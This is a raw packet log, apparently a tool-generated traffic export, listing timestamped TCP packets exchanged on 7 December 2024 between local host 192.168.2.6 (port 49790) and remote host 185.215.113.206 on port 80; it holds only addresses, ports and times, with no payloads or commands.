Dec 7, 2024 22:40:39.095541000 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.098929882 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.098993063 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.099000931 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.099154949 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.234603882 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.234688997 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.234707117 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.234750986 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.236311913 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.236406088 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.237040043 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.237209082 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.237318993 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.237400055 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.240360975 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.240372896 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.240423918 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.242912054 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.243022919 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.243025064 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.243062973 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.246273041 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.246335983 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.246339083 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.246397972 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.249661922 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.249726057 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.249763012 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.249819040 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.253051043 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.253119946 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.253123999 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.253168106 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.256474972 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.256597042 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.256661892 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.259818077 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.259882927 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.259913921 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.259970903 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.263242006 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.263335943 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.263371944 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.263397932 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.266536951 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.266594887 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.266618967 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.266699076 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.269982100 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.270046949 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.270092010 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.270380020 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.273380995 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.273391962 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.273477077 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.276658058 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.276721001 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.276736021 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.276778936 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.280016899 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.280090094 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.280150890 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.283412933 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.283488035 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.283516884 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.283536911 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.286765099 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.286863089 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.286870956 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.287048101 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.290147066 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.290205956 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.290241957 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.290293932 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.293539047 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.293616056 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.293690920 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.296890974 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.296956062 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.296993971 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.297039986 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.300295115 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.300395966 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.300398111 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.300442934 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.303634882 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.303723097 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.303755045 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.303888083 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.307084084 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.307141066 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.307189941 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.310440063 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.310488939 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.310518026 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.310565948 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.313924074 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.313954115 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.314026117 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.317114115 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.317178011 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.317231894 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.317356110 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.320600986 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.320645094 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.320687056 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.320724964 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.324080944 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.324213028 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.324285984 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.327425957 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.327507973 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.327543020 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.327573061 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.330635071 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.330722094 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.330764055 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.330970049 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.334007978 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.334129095 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.334155083 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.334180117 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.337415934 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.337486982 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.337517977 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.337564945 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.340820074 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.341022015 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.341027021 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.341077089 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.344211102 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.344290018 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.344300985 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.344352961 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.347507000 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.347600937 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.347635031 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.347635031 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.350923061 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.351022005 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.351035118 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.351073027 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.354304075 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.354367018 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.354396105 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.354449034 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.358017921 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.358073950 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.358205080 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.358253002 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.361016989 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.361108065 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.361121893 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.361161947 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.364356041 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.364423990 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.364500046 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.364694118 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.367733955 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.367813110 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.367842913 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.367893934 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.371256113 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.371330976 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.371352911 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.371380091 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.374519110 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.374614000 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.374747038 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.374808073 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.377832890 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.377892971 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.426655054 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.426721096 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.426755905 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.426795006 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.428114891 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.428165913 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.428220034 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.428275108 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.431149960 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.431212902 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.432162046 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.432215929 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.432251930 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.432332039 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.435065031 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.435156107 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.435215950 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.437927008 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.437978029 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.438055038 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.438096046 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.440684080 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.440732956 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.440808058 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.440905094 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.443430901 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.443483114 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.443531990 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.443624973 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.446115017 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.446168900 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.446217060 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.446259975 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.448743105 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.448808908 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.448961020 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.449022055 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.451327085 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.451400042 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.451437950 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.451479912 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.453887939 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.453999043 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.454044104 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.454088926 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.456403971 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.456501961 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.456531048 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.456574917 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.458899021 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.458956957 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.459106922 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.459152937 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.461325884 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.461380959 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.461427927 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.461469889 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.463816881 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.463920116 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.463922977 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.464003086 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.466208935 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.466269970 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.466324091 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.466361046 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.468525887 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.468580008 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.468650103 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.468692064 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.470920086 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.470984936 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.471031904 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.471076012 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.473277092 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.473329067 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.473390102 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.473426104 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.475528002 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.475584030 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.475652933 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.475692034 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.477780104 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.477845907 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.477994919 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.478037119 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.480032921 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.480092049 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.480159044 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.480202913 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.482266903 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.482323885 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.482381105 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.482425928 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.484467030 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.484527111 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.484576941 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.484611034 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.486682892 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.486748934 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.486790895 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.486836910 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.487828970 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.487880945 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.487936974 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.487979889 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.489223957 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.489273071 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.489334106 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.489373922 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.490153074 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.490199089 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.490294933 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.490338087 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.491281986 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.491329908 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.491370916 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.491410971 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.492429018 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.492472887 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.492542982 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.492582083 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.493575096 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.493626118 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.493642092 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.493684053 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.494725943 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.494779110 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.494827032 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.494867086 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.495884895 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.495950937 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.495968103 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.496014118 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.497098923 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.497152090 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.497298956 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.497344017 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.498193979 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.498246908 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.498298883 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.498342991 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.499432087 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.499481916 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.499525070 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.499558926 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.500523090 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.500571012 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.500583887 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.500808954 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.501615047 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.501674891 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.501722097 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.501770020 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.502810001 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.502867937 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.502914906 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.502957106 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.503931046 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.503988028 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.504043102 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.504086018 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.505079985 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.505129099 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.505239964 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.505284071 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.506216049 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.506264925 CET	49790	80	192.168.2.6	185.215.113.206
